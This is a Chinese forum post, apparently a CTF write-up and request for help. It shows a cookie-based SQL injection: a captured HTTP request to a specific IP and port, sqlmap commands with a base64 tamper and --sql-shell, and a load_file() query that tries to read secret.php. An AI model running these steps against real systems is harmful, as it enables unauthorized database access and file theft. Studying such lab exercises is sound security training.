根据hint(提示),进入提示页,提示:flag在secret.php中。于是想到是利用sql注入读取文件。
于是,就是寻找注入点。在注册新用户后,登录
抓包,发现cookie中的uname大概存在注入点。
- GET /sqli/index.php HTTP/1.1
- Host: 62.234.99.204:8006
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
- Referer: http://62.234.99.204:8006/sqli/
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: uname=eGg%3D; PHPSESSID=h0eve6045aqd25l250alfhu4m6
- Connection: close
复制代码 于是用sqlmap跑一遍,刚开始没跑出来,结果发现uname是经过base64和url编码的。于是在sqlmap中加入tamper跑,终于跑出来了。
- <div class="blockcode"><blockquote>sqlmap -r 1.txt --level 3 --tamper=base64encode -p uname -v 3
复制代码
中途爆库,虽然能够爆出数据来,但是没有我们要的flag。一开始我们的目的也是利用sql注入读文件,于是想到了拿sql-shell。搞起
- sqlmap -r 1.txt --level 3 --tamper=base64encode -p uname -v 3 --sql-shell
复制代码 成功进入sql-shell。一阵开心,但是,但是,要读取的文件路径在哪,在哪,在哪?没办法,找吧
在注册页面发现路径,为了更加确认,我又发现系统可以访问phpinfo.php,上面提示的路径也是如此。接下来,就开始读取secret.php文件
- select load_file('/www/wwwroot/axbweb6.com/sqli/secret.php')
复制代码 但是结果却是空,到底是为什么,求助。
|